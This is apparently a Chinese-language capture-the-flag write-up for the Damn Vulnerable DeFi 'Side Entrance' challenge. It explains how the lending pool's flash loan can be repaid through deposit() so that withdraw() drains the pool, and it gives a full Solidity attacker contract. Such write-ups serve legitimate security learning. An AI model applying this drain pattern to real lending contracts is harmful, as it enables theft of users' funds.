Challenge #4 - Side Entrance#
为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉
合约#
- SideEntranceLenderPool:提供 deposit 和 withdraw 方法,支持闪电贷
脚本#
- 部署 SideEntranceLenderPool 合约
- 向 pool 中 deposit eth 数目 ETHER_IN_POOL
- 执行攻击脚本
- 期望 pool 中的余额为 0,player 余额大于 ETHER_IN_POOL
题解#
本题的攻克点在于 deposit+withdraw,可以先通过闪电贷获得 eth,再调用 deposit 获得凭证,再结束闪电贷后通过 withdraw 提取出 eth,整体流程图如下所示:
- 调用 pool 的 flashLoan 方法时会调用
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
因此在攻击合约中需要实现execute
方法,做的工作就是进行 deposit,从而完成闪电贷还款,还多记录了一份存款凭证 - player 再通过调用 withdraw 方法从 pool 中取出对应的 eth,全部转移到 player,完成攻击
合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}